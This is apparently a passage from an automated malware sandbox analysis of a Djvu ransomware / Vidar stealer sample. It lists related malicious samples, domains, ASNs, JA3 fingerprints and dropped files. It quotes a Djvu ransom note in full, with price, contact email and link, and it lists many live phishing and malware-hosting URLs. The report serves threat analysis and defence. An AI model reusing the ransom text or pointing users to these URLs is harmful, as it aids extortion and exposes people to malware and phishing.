	file.exe	Get hash	malicious	Glupteba, Petite Virus, RedLine, SmokeLoader, Socks5Systemz, zgRAT	Browse	ftpvoyager.cc/ftp/index.php
	file.exe	Get hash	malicious	SmokeLoader	Browse	humydrole.com/tmp/index.php
	file.exe	Get hash	malicious	RedLine, SmokeLoader	Browse	humydrole.com/tmp/index.php
	SecuriteInfo.com.Win32.PWSX-gen.24135.19028.exe	Get hash	malicious	SmokeLoader	Browse	humydrole.com/tmp/index.php
	file.exe	Get hash	malicious	Amadey	Browse	shohetrc.com/forum/index.php
	file.exe	Get hash	malicious	Amadey	Browse	shohetrc.com/forum/index.php
	file.exe	Get hash	malicious	SmokeLoader	Browse	dpav.cc/tmp/

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
t.me	file.exe	Get hash	malicious	Eternity Stealer, LummaC Stealer, Petite Virus, SmokeLoader, Socks5Systemz, Vidar, zgRAT	Browse	149.154.167.99
	PbQI1np5cI.exe	Get hash	malicious	Vidar	Browse	149.154.167.99
	CinaQ61J8d.exe	Get hash	malicious	Vidar	Browse	149.154.167.99
	987123.exe	Get hash	malicious	LummaC, Eternity Stealer, LummaC Stealer, SmokeLoader, Stealc, zgRAT	Browse	149.154.167.99
	H88B1esQF0.exe	Get hash	malicious	Vidar	Browse	149.154.167.99
	n8JqyJSXnE.exe	Get hash	malicious	LummaC, Glupteba, LummaC Stealer, Petite Virus, SmokeLoader, Socks5Systemz, Stealc	Browse	149.154.167.99
	LnSNtO8JIa.exe	Get hash	malicious	Cinoshi Stealer	Browse	149.154.167.99
	http://app.123chat.xyz	Get hash	malicious	Unknown	Browse	149.154.167.99
	https://drsasanranjbar.com/7rnq/?37999091	Get hash	malicious	Unknown	Browse	149.154.167.99
	Setup.exe	Get hash	malicious	Vidar	Browse	149.154.167.99
	buildz.exe	Get hash	malicious	Babuk, Clipboard Hijacker, Djvu, Vidar	Browse	149.154.167.99
	https://eek.muf.mybluehost.me/wp-admin/css/colors/blue/MTTRBDFH/	Get hash	malicious	Unknown	Browse	162.241.219.14
	https://thu.muf.mybluehost.me/ddhh/tracking/fV5EjH/msg.php?id=81651192	Get hash	malicious	Unknown	Browse	162.241.226.169
	https://eeq.dfq.mybluehost.me/.website_79ef0269/msolaro/DH2tAyUe9AsUx7b/	Get hash	malicious	HTMLPhisher	Browse	162.241.252.236
	https://iss.phq.mybluehost.me/.website_26dbe1db/support/au/	Get hash	malicious	Unknown	Browse	50.87.180.60
	https://pre.oef.mybluehost.me/net-hu/login	Get hash	malicious	HTMLPhisher	Browse	162.241.252.155
	6101XOxMbY.exe	Get hash	malicious	Glupteba, LummaC Stealer, Petite Virus, RedLine, SmokeLoader, Stealc, zgRAT	Browse	149.154.167.99
	Sz8KLg559F.exe	Get hash	malicious	Glupteba, LummaC Stealer, Petite Virus, RedLine, SmokeLoader, Stealc, zgRAT	Browse	149.154.167.99
	OIpWHA8mdz.exe	Get hash	malicious	LummaC, Babuk, Clipboard Hijacker, Djvu, SmokeLoader, Vidar	Browse	149.154.167.99
	C7e8AncaYu.exe	Get hash	malicious	Glupteba, LummaC Stealer, Petite Virus, RedLine, SmokeLoader, Stealc, zgRAT	Browse	149.154.167.99
api.2ip.ua	file.exe	Get hash	malicious	Babuk, Djvu	Browse	172.67.139.220
	file.exe	Get hash	malicious	Babuk, Djvu	Browse	104.21.65.24
	buildz.exe	Get hash	malicious	Babuk, Clipboard Hijacker, Djvu, Vidar	Browse	172.67.139.220
	Mk7woAn6lz.exe	Get hash	malicious	Babuk, Djvu	Browse	172.67.139.220
	6101XOxMbY.exe	Get hash	malicious	Glupteba, LummaC Stealer, Petite Virus, RedLine, SmokeLoader, Stealc, zgRAT	Browse	172.67.139.220
	Sz8KLg559F.exe	Get hash	malicious	Glupteba, LummaC Stealer, Petite Virus, RedLine, SmokeLoader, Stealc, zgRAT	Browse	104.21.65.24
	OIpWHA8mdz.exe	Get hash	malicious	LummaC, Babuk, Clipboard Hijacker, Djvu, SmokeLoader, Vidar	Browse	104.21.65.24
	C7e8AncaYu.exe	Get hash	malicious	Glupteba, LummaC Stealer, Petite Virus, RedLine, SmokeLoader, Stealc, zgRAT	Browse	104.21.65.24
	XrNOw4sxMG.exe	Get hash	malicious	LummaC, Babuk, Clipboard Hijacker, Djvu, SmokeLoader, Vidar	Browse	172.67.139.220
	7yCti1JQXn.exe	Get hash	malicious	Babuk, Clipboard Hijacker, Djvu, LummaC Stealer, PureLog Stealer, RedLine, SmokeLoader	Browse	104.21.65.24
	EdRzQIfoXb.exe	Get hash	malicious	Babuk, Clipboard Hijacker, Djvu, LummaC Stealer, PureLog Stealer, RedLine, SmokeLoader	Browse	104.21.65.24
	file.exe	Get hash	malicious	Babuk, Djvu	Browse	172.67.139.220
	buildz.exe	Get hash	malicious	Babuk, Clipboard Hijacker, Djvu, Vidar	Browse	172.67.139.220
	New_Text_Document_mod.exse.exe	Get hash	malicious	AgentTesla, Amadey, Creal Stealer, Djvu, FormBook, Glupteba, GuLoader	Browse	172.67.139.220
	Ksg3dly6oI.exe	Get hash	malicious	Babuk, Clipboard Hijacker, Djvu	Browse	104.21.65.24
	CUO2hN8U9N.exe	Get hash	malicious	Djvu	Browse	172.67.139.220
	file.exe	Get hash	malicious	Babuk, Djvu	Browse	172.67.139.220
	file.exe	Get hash	malicious	Babuk, Djvu	Browse	172.67.139.220
	file.exe	Get hash	malicious	Babuk, Djvu	Browse	104.21.65.24
	UYUuh7vsdN.exe	Get hash	malicious	Babuk, Clipboard Hijacker, Djvu, RedLine, SmokeLoader, Vidar	Browse	172.67.139.220

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
TechtelLMDSComunicacionesInteractivasSAAR	iJhVD1gfNa.exe	Get hash	malicious	LummaC, SmokeLoader	Browse	186.182.55.44
	Rakitin.x86.elf	Get hash	malicious	Mirai	Browse	181.238.180.248
	buildz.exe	Get hash	malicious	Babuk, Clipboard Hijacker, Djvu, Vidar	Browse	186.13.17.220
	50bA7XFJQI.elf	Get hash	malicious	Mirai	Browse	181.116.130.238
	887OOdJ3rV.elf	Get hash	malicious	Mirai	Browse	181.116.177.213
	C7e8AncaYu.exe	Get hash	malicious	Glupteba, LummaC Stealer, Petite Virus, RedLine, SmokeLoader, Stealc, zgRAT	Browse	186.13.17.220
	BA3TWTDFgH.elf	Get hash	malicious	Mirai	Browse	190.221.103.86
	arm.elf	Get hash	malicious	Mirai	Browse	186.158.116.213
	UiS7Aq9P48.exe	Get hash	malicious	Amadey	Browse	186.182.55.44
	hqw5gwbdid.exe	Get hash	malicious	Amadey	Browse	186.13.17.220
	file.exe	Get hash	malicious	Amadey	Browse	186.182.55.44
	pnhPESGhwt.exe	Get hash	malicious	SmokeLoader	Browse	186.182.55.44
	7X8Zr9Jc2i.exe	Get hash	malicious	SmokeLoader	Browse	186.182.55.44
	5hP4p0wpmv.exe	Get hash	malicious	SmokeLoader	Browse	186.182.55.44
	file.exe	Get hash	malicious	Glupteba, Petite Virus, Raccoon Stealer v2, RedLine, SmokeLoader	Browse	186.13.17.220
	Yzkk3B5jl4.elf	Get hash	malicious	Mirai	Browse	181.116.77.22
	file.exe	Get hash	malicious	Glupteba, Petite Virus, Raccoon Stealer v2, RedLine, SmokeLoader, Socks5Systemz	Browse	186.13.17.220
	file.exe	Get hash	malicious	Glupteba, Petite Virus, Raccoon Stealer v2, RedLine, SmokeLoader, Socks5Systemz	Browse	186.182.55.44
	file.exe	Get hash	malicious	SmokeLoader	Browse	186.182.55.44
	file.exe	Get hash	malicious	Glupteba, LummaC Stealer, Petite Virus, Raccoon Stealer v2, RedLine, SmokeLoader, Socks5Systemz	Browse	186.182.55.44
CLOUDFLARENETUS	http://mantegazza.top	Get hash	malicious	HTMLPhisher	Browse	104.17.25.14
	https://necowater-my.sharepoint.com/:f:/p/pbaumer/Erb0K2oih7ZBqywMH_sUDHoBVFLWcTTS62zQhkRrJwfJ6Q?e=fWjo1v	Get hash	malicious	HTMLPhisher	Browse	104.17.2.184
	https://soma.ecommerceelitesavings.com/selije/soketu/sujo/xadu/index.php?rpclk=2KZDmSG0wJuMEdT1CjEiL0l9B9MgwchP%2F%2BA3u450nnppUch%2FngKb9v2RtmMcIBkEdjCL9SONGxe7bblO%2F1dvDprnQa4adzFEw5qj8TOmnaEI9gva%2FpUggf%2FDaXU5Jrp5xr4G4RlFrxQxsI1h9KknjLq3R6dfmDp6KoRoljmNDA7jGNLag8NZxqO7TjllxC%2FgiuQgjIF0Vj%2BuKgc%2BaebrBhHBZAP6TMVQrxOSAzaXGLgaU0mI3jKnS5NgPugaWlc2WeMrkN%2Fa0yLZM9MPWCfWS0UcKrQxp3xljW%2BbyvAn%2B5NNPw5w9O8bhASKKl5j8cwORnoNwRVRQjw23dX7XwhnC00hy6z2Hpt9yZjUmvizyeLDszdr1NWKukA9QtPvITKeVuPW8h3SOYPOXBxN09bgBS84y6RgTfBrHPIbo7pcbqpu4Yw0LiiWyPQovDFSb0krojfpxkzuC6LM%2BevUr%2FHX0KboL67vnZBlcuMVYVwFKTDGgA57bBJGOQ62YG3bZA5%2FtED3FMem%2F2uuy9WuEvF9zRM5j0jnoAIC%2B3FBE0v94vKUJnQ7S5U9rEZ9iTXLf8SeHepErQWe%2BglHpASlrn6DFq86KSZMK9V6ptBHP4gx3Vcd9%2Bew%2Fs4Ux891MwQh2lz4m6DCK0GPAZw1slwr3v3VyytpST8tX4fK3BiuDuFD8y5x%2FQe13gxGUkmTA1UoWEa99g%2FYypsz%2Ft94CFouFBcJiMnBMLoOdsfndHLxn2inOw0e1k%2BwFcDTGcr9yhLv5F7HOWtviumJZGIyqzLHg3jkd93HQlBiwWP8oVYZN%2B577Zaqq0109B0FRtM8vfbQE3ftIsPWiLzJG5VY8lFlXG3EvZ8OrRZz8jUbTzvFzjd06NOvf%2FM3nmaspqQVymb1rF0RZa9wR5nLWGyl32SoHA%2F1bwx2Cyg15%2Bka0Ek64uJMXtY7Ij54f9lfj8CEpZC%2BSbX%2F7sAEGyT0rvhN%2BHGy9kO4iHwZYCBXNYIzT7XNRQm7Y9OD3PNlqq%2BKL6xCZIcmxSxTSFKHvJ3Rqc5nyNPkOgtEu5lHF2N3MvrS8f25O1aFPr9LhDreEd0Q2qIBVGSGxXbV2C1zekoa3J2qLwsD35VOBOKrlOBHGSuj9UEUe3Wx0o9bN%2FjQVcY3YdnJr3F5m0f2fpTHBzcWX9STml3cgbmxRCqP%2BjlHgxUXb8EpLyc9pFdLyXTa%2B0pz09ce0CjX7WpuxgF4uwPlyNiRwDoU7vsGwtH2utDlja0%2Bvtsw0zrOAeT0WQ7Uco2YZo8Ib10HCtYo%2FFReDxsTanw1Wgr%2FCojoHJ%2Bm03Fv20ShYic0%2BNEVjVfbPSlxF%2BqeTBgPs%2BOLdmP%2Bwvtj%2BFIJP045JQB0CF1vBoRtATmYmQumHUJbKHedgflkmn2R3%2F6RZ%2BTb5HoTRTAYfuzO65vBuUKX6Je5goe1jGY8Rtym7u3MKifTKmGMgOaC%2BAakHW6fETOBwU6XAVEDZt6aViRKpTpTU8KUE4QaphEhp7ZZz%2FbQ8CqnYhr0H34w25OguI%2F68f6hSrf2xsTOPV6Gb5s2vgSpZbQjv8vM7YaxuxVuqDlqQX4o1798SCDUOhBMDbTXlfu0P6UVGdb4q%2B9IRgCGx2AhBBEULtQbnNGgcMKa1Dmljt3%2By%2B59%2Ftu7h0G0cH%2Bvim%2FRCZlFteFZlcSTEVhkiidK4E5W6uDDSgZCP7JkACIFmQ%3D%3D%3A%3Ac2d87b9c8ba8e3dd36ccf81960f15744&p=nQRBuWH7n95GyIkuioRA%3A%3A395fe8b79b379cd44ce28ced98ca4d17	Get hash	malicious	Unknown	Browse	172.67.166.136
	https://descuentosrata.com/redirect?url=http://dir.foundation/-4Gr4RAan-y5l-Qw4RAndquQ3Esm3T-d58Kvo-y5	Get hash	malicious	Unknown	Browse	104.18.214.59
	https://ininpost.top/i	Get hash	malicious	Unknown	Browse	1.1.1.1
	http://ininpost.top/i	Get hash	malicious	Unknown	Browse	1.1.1.1
	nDetalhes_Reserva.ppam	Get hash	malicious	Unknown	Browse	172.67.135.130
	file.exe	Get hash	malicious	RisePro Stealer	Browse	104.19.218.90
	VN_Audio_Transcription_182024pm3.htm	Get hash	malicious	HTMLPhisher	Browse	104.21.61.166
	https://sites.google.com/view/miseauthebilnotiverificatopn/accueil	Get hash	malicious	Unknown	Browse	104.21.234.214
	file.exe	Get hash	malicious	Eternity Stealer, LummaC Stealer, Petite Virus, SmokeLoader, Socks5Systemz, Vidar, zgRAT	Browse	104.21.37.41
	Env#U00edo CFDI FACTURA FFD - A8w1t0A4o3N7D86750507859.html	Get hash	malicious	Unknown	Browse	104.18.36.155
	Env#U00edo CFDI FACTURA FFD - A8w1t0A4o3N7D86750507859.html	Get hash	malicious	Unknown	Browse	172.64.151.101
	https://bzafygtfrdeszqjnhb.s3.eu-west-3.amazonaws.com/unsb6268.html#un/5668_md/2/493/3101/50/905101	Get hash	malicious	Phisher	Browse	1.1.1.1
	1uPo6vy0ih.exe	Get hash	malicious	Snake Keylogger	Browse	172.67.177.134
	https://bzafygtfrdeszqjnhb.s3.eu-west-3.amazonaws.com/url6268.html#cl/5668_md/2/493/3101/50/905101	Get hash	malicious	Unknown	Browse	104.21.80.104
	http://nightmareautos.com	Get hash	malicious	Unknown	Browse	172.67.158.186
	Email_Rechnung VIP Service VIE Kd. Schatz.smail.html	Get hash	malicious	HTMLPhisher	Browse	104.16.136.15
	http://4oc.aloviec.com/?dD1jJmQ9MjIwNzMmbD01MzI0JmM9ODY4NzgmYXU9MA==	Get hash	malicious	Unknown	Browse	104.21.38.123
	vi3VzdBK4R.exe	Get hash	malicious	FormBook	Browse	104.21.39.249

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
37f463bf4616ecd445d4a1937da06e19	file.exe	Get hash	malicious	Eternity Stealer, LummaC Stealer, Petite Virus, SmokeLoader, Socks5Systemz, Vidar, zgRAT	Browse	149.154.167.99 172.67.139.220
	otFVzmu0OI.exe	Get hash	malicious	FormBook, GuLoader	Browse	149.154.167.99 172.67.139.220
	ZLK1m92Anm.exe	Get hash	malicious	Stealc, Vidar	Browse	149.154.167.99 172.67.139.220
	th7GMksXzB.exe	Get hash	malicious	Glupteba, Stealc, Vidar	Browse	149.154.167.99 172.67.139.220
	JTGwusI7cICuEzA3R2d19eyBuulw41ON3P7Png.exe	Get hash	malicious	Unknown	Browse	149.154.167.99 172.67.139.220
	JTGwusI7cICuEzA3R2d19eyBuulw41ON3P7Png.exe	Get hash	malicious	Unknown	Browse	149.154.167.99 172.67.139.220
	ep_setup.exe	Get hash	malicious	Unknown	Browse	149.154.167.99 172.67.139.220
	ep_setup.exe	Get hash	malicious	Unknown	Browse	149.154.167.99 172.67.139.220
	aspnet_wp.exe	Get hash	malicious	LummaC Stealer, Xmrig	Browse	149.154.167.99 172.67.139.220
	newrock.exe	Get hash	malicious	Fabookie, Glupteba, Stealc, Vidar	Browse	149.154.167.99 172.67.139.220
	ftommXF6fk.exe	Get hash	malicious	RedLine, Xmrig	Browse	149.154.167.99 172.67.139.220
	sysrc_trial.exe	Get hash	malicious	zgRAT	Browse	149.154.167.99 172.67.139.220
	sysrc_trial.exe	Get hash	malicious	zgRAT	Browse	149.154.167.99 172.67.139.220
	RrU3GfxdU4.exe	Get hash	malicious	LummaC Stealer	Browse	149.154.167.99 172.67.139.220
	EAQWFBBD.JS.js	Get hash	malicious	Unknown	Browse	149.154.167.99 172.67.139.220
	EAQWFBBD.JS.js	Get hash	malicious	Unknown	Browse	149.154.167.99 172.67.139.220
	Setup.exe	Get hash	malicious	Unknown	Browse	149.154.167.99 172.67.139.220
	PbQI1np5cI.exe	Get hash	malicious	Vidar	Browse	149.154.167.99 172.67.139.220
	CinaQ61J8d.exe	Get hash	malicious	Vidar	Browse	149.154.167.99 172.67.139.220
	bz9agEdrRq.exe	Get hash	malicious	LummaC Stealer	Browse	149.154.167.99 172.67.139.220

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\GJ1F663Z\sqlite3[1].dll	file.exe	Get hash	malicious	Eternity Stealer, LummaC Stealer, Petite Virus, SmokeLoader, Socks5Systemz, Vidar, zgRAT	Browse
	PbQI1np5cI.exe	Get hash	malicious	Vidar	Browse
	CinaQ61J8d.exe	Get hash	malicious	Vidar	Browse
	H88B1esQF0.exe	Get hash	malicious	Vidar	Browse
	n8JqyJSXnE.exe	Get hash	malicious	LummaC, Glupteba, LummaC Stealer, Petite Virus, SmokeLoader, Socks5Systemz, Stealc	Browse
	Setup.exe	Get hash	malicious	Vidar	Browse
	buildz.exe	Get hash	malicious	Babuk, Clipboard Hijacker, Djvu, Vidar	Browse
	OIpWHA8mdz.exe	Get hash	malicious	LummaC, Babuk, Clipboard Hijacker, Djvu, SmokeLoader, Vidar	Browse
	XrNOw4sxMG.exe	Get hash	malicious	LummaC, Babuk, Clipboard Hijacker, Djvu, SmokeLoader, Vidar	Browse
	n1ppfW1lhW.exe	Get hash	malicious	Vidar	Browse
	7yCti1JQXn.exe	Get hash	malicious	Babuk, Clipboard Hijacker, Djvu, LummaC Stealer, PureLog Stealer, RedLine, SmokeLoader	Browse
	EdRzQIfoXb.exe	Get hash	malicious	Babuk, Clipboard Hijacker, Djvu, LummaC Stealer, PureLog Stealer, RedLine, SmokeLoader	Browse
	Setup.exe	Get hash	malicious	Vidar	Browse
	buildz.exe	Get hash	malicious	Babuk, Clipboard Hijacker, Djvu, Vidar	Browse
	build2.exe	Get hash	malicious	Vidar	Browse
	New_Text_Document_mod.exse.exe	Get hash	malicious	AgentTesla, Amadey, Creal Stealer, Djvu, FormBook, Glupteba, GuLoader	Browse
	file.exe	Get hash	malicious	Vidar	Browse
	Setup_Pswrd_1234.rar	Get hash	malicious	Vidar	Browse
	QOPSHkaNOa.exe	Get hash	malicious	Vidar	Browse
	OZEQSPGkT4.exe	Get hash	malicious	Vidar, zgRAT	Browse
C:\Users\user\AppData\Local\8429a2bc-b663-4f4e-846e-76e22b7ae313\kOVwcHSfrR.exe	aiJQkLaTCf.exe	Get hash	malicious	LummaC, Glupteba, LummaC Stealer, Petite Virus, RedLine, SmokeLoader, Stealc	Browse

Created / dropped Files

C:\$WinREAgent\Scratch\_readme.txt

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1120
Entropy (8bit):	4.871867626503352
Encrypted:	false
SSDEEP:	24:FS5ZHPnIekFQjhRe9bgnYLuW4mFRqrn6324kA+GT/kF5M2/kJw3RJDLwp:WZHfv0p6W4Pn42rDGT0f/kiN6
MD5:	577B674A1A30E90A51CC4D48A243D916
SHA1:	3DFAD623A4F2330139276356C43515B9F3D4CD54
SHA-256:	E2B833DC0DA159C2493F7B0F0F26034877F188A3BF2D411236400C92F7F3F6A1
SHA-512:	9AC36F71FA74A3CE01925CAD65AD8246378BEAFD47D9576DAD4258CDF615A32D5B567E8F0F61C072232C4D9CDAFC8B1846182AAF5B2EA06D338E39B1799C3AF7
Malicious:	true
Reputation:	low
Preview:	ATTENTION!....Don't worry, you can return all your files!..All your files like pictures, databases, documents and other important are encrypted with strongest encryption and unique key...The only method of recovering files is to purchase decrypt tool and unique key for you...This software will decrypt all your encrypted files...What guarantees you have?..You can send one of your encrypted file from your PC and we decrypt it for free...But we can decrypt only 1 file for free. File must not contain valuable information...You can get and look video overview decrypt tool:..https://we.tl/t-99MNqXMrdS..Price of private key and decrypt software is $1999...Discount 50% available if you contact us first 72 hours, that's price for you is $999...Please note that you'll never restore your data without payment...Check your e-mail "Spam" or "Junk" folder if you don't get answer more than 6 hours.......To get this software you need write on our e-mail:..support@freshingmail.top....Reserve e-mail addr

C:\$WinREAgent\_readme.txt

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1120
Entropy (8bit):	4.871867626503352
Encrypted:	false
SSDEEP:	24:FS5ZHPnIekFQjhRe9bgnYLuW4mFRqrn6324kA+GT/kF5M2/kJw3RJDLwp:WZHfv0p6W4Pn42rDGT0f/kiN6
MD5:	577B674A1A30E90A51CC4D48A243D916
SHA1:	3DFAD623A4F2330139276356C43515B9F3D4CD54
SHA-256:	E2B833DC0DA159C2493F7B0F0F26034877F188A3BF2D411236400C92F7F3F6A1
SHA-512:	9AC36F71FA74A3CE01925CAD65AD8246378BEAFD47D9576DAD4258CDF615A32D5B567E8F0F61C072232C4D9CDAFC8B1846182AAF5B2EA06D338E39B1799C3AF7
Malicious:	true
Reputation:	low
Preview:	ATTENTION!....Don't worry, you can return all your files!..All your files like pictures, databases, documents and other important are encrypted with strongest encryption and unique key...The only method of recovering files is to purchase decrypt tool and unique key for you...This software will decrypt all your encrypted files...What guarantees you have?..You can send one of your encrypted file from your PC and we decrypt it for free...But we can decrypt only 1 file for free. File must not contain valuable information...You can get and look video overview decrypt tool:..https://we.tl/t-99MNqXMrdS..Price of private key and decrypt software is $1999...Discount 50% available if you contact us first 72 hours, that's price for you is $999...Please note that you'll never restore your data without payment...Check your e-mail "Spam" or "Junk" folder if you don't get answer more than 6 hours.......To get this software you need write on our e-mail:..support@freshingmail.top....Reserve e-mail addr

C:\ProgramData\AAEHDAAK

Download File

Process:	C:\Users\user\AppData\Local\2df19a2c-b539-4ffa-a72b-f2a685ef7f31\build2.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 39, cookie 0x20, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	159744
Entropy (8bit):	0.5394293526345721
Encrypted:	false
SSDEEP:	96:AquejzH+bF+UIYysX0IxQzh/tsV0NifLjLqLy0e9S8E:AqtH+bF+UI3iN0RSV0k3qLyj9
MD5:	52701A76A821CDDBC23FB25C3FCA4968
SHA1:	440D4B5A38AF50711C5E6C6BE22D80BC17BF32DE
SHA-256:	D602B4D0B3EB9B51535F6EBA33709DCB881237FA95C5072CB39CECF0E06A0AC4
SHA-512:	2653C8DB9C20207FA7006BC9C63142B7C356FB9DC97F9184D60C75D987DC0848A8159C239E83E2FC9D45C522FEAE8D273CDCD31183DED91B8B587596183FC000
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	SQLite format 3......@ .......'........... ......................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\AAKKFHCFIECAAAKEGCFI

Download File

Process:	C:\Users\user\AppData\Local\2df19a2c-b539-4ffa-a72b-f2a685ef7f31\build2.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 25, cookie 0xe, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	51200
Entropy (8bit):	0.8746135976761988
Encrypted:	false
SSDEEP:	96:O8mmwLCn8MouB6wzFlOqUvJKLReZff44EK:O8yLG7IwRWf4
MD5:	9E68EA772705B5EC0C83C2A97BB26324
SHA1:	243128040256A9112CEAC269D56AD6B21061FF80
SHA-256:	17006E475332B22DB7B337F1CBBA285B3D9D0222FD06809AA8658A8F0E9D96EF
SHA-512:	312484208DC1C35F87629520FD6749B9DDB7D224E802D0420211A7535D911EC1FA0115DC32D8D1C2151CF05D5E15BBECC4BCE58955CFFDE2D6D5216E5F8F3BDF
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\BFCFBKKKFHCFHJKFIIEH

Download File

Process:	C:\Users\user\AppData\Local\2df19a2c-b539-4ffa-a72b-f2a685ef7f31\build2.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\DHDHCGHD

Download File

Process:	C:\Users\user\AppData\Local\2df19a2c-b539-4ffa-a72b-f2a685ef7f31\build2.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 38, cookie 0x1f, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	155648
Entropy (8bit):	0.5407252242845243
Encrypted:	false
SSDEEP:	96:OgWyejzH+bDoYysX0IxQzZkHtpVJNlYDLjGQLBE3CeE0kE:OJhH+bDo3iN0Z2TVJkXBBE3yb
MD5:	7B955D976803304F2C0505431A0CF1CF
SHA1:	E29070081B18DA0EF9D98D4389091962E3D37216
SHA-256:	987FB9BFC2A84C4C605DCB339D4935B52A969B24E70D6DEAC8946BA9A2B432DC
SHA-512:	CE2F1709F39683BE4131125BED409103F5EDF1DED545649B186845817C0D69E3D0B832B236F7C4FC09AB7F7BB88E7C9F1E4F7047D1AF56D429752D4D8CBED47A
Malicious:	false
Preview:	SQLite format 3......@ .......&..................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\FIEHDBGD

Download File

Process:	C:\Users\user\AppData\Local\2df19a2c-b539-4ffa-a72b-f2a685ef7f31\build2.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1368932887859682
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6cF/k4:MnlyfnGtxnfVuSVumEHFs4
MD5:	9A534FD57BED1D3E9815232E05CCF696
SHA1:	916474D7D073A4EB52A2EF8F7D9EF9549C0808A1
SHA-256:	7BB87D8BC8D49EECAB122B7F5BCD9E77F77B36C6DB173CB41E83A2CCA3AC391B
SHA-512:	ADE77FBBDE6882EF458A43F301AD84B12B42D82E222FC647A78E5709554754714DB886523A639C78D05BC221D608F0F99266D89165E78F76B21083002BE8AEFF
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\GCBKFIEBGCAAFIEBFCAECBFBFB

Download File

Process:	C:\Users\user\AppData\Local\2df19a2c-b539-4ffa-a72b-f2a685ef7f31\build2.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 7, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 7
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.6732424250451717
Encrypted:	false
SSDEEP:	24:TLO1nKbXYFpFNYcoqT1kwE6UwpQ9YHVXxZ6HfB:Tq1KLopF+SawLUO1Xj8B
MD5:	CFFF4E2B77FC5A18AB6323AF9BF95339
SHA1:	3AA2C2115A8EB4516049600E8832E9BFFE0C2412
SHA-256:	EC8B67EF7331A87086A6CC085B085A6B7FFFD325E1B3C90BD3B9B1B119F696AE
SHA-512:	0BFDC8D28D09558AA97F4235728AD656FE9F6F2C61DDA2D09B416F89AB60038537B7513B070B907E57032A68B9717F03575DB6778B68386254C8157559A3F1BC
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j...$......g..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\GHDHDGHJEBGIDGDGIJJKFBAAKK

Download File

Process:	C:\Users\user\AppData\Local\2df19a2c-b539-4ffa-a72b-f2a685ef7f31\build2.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 4, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 4
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.8517407251719497
Encrypted:	false
SSDEEP:	24:TLyAF1kwNbXYFpFNYcw+6UwcQVXH5fBO4wxeHChWEE1:TeAFawNLopFgU10XJBOaT3
MD5:	D0962B221779A756754334848DCFF184
SHA1:	22CD3B9D687216E6921553F55958449CE7ABF05D
SHA-256:	7BA5110096912E6B352060FFF79B07EA95CA114A13D3994D7814831DFAA649B8
SHA-512:	05AFC25BA53913F0685075B6EC27A2A416168CB7A6D5C869D2F3DBA06AAD88633F1A709DD51AA1EDC946FF74E6271D9D3A5652FE4E0B8F226A452FDF6BAED36F
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\IJJKKJJD

Download File

Process:	C:\Users\user\AppData\Local\2df19a2c-b539-4ffa-a72b-f2a685ef7f31\build2.exe
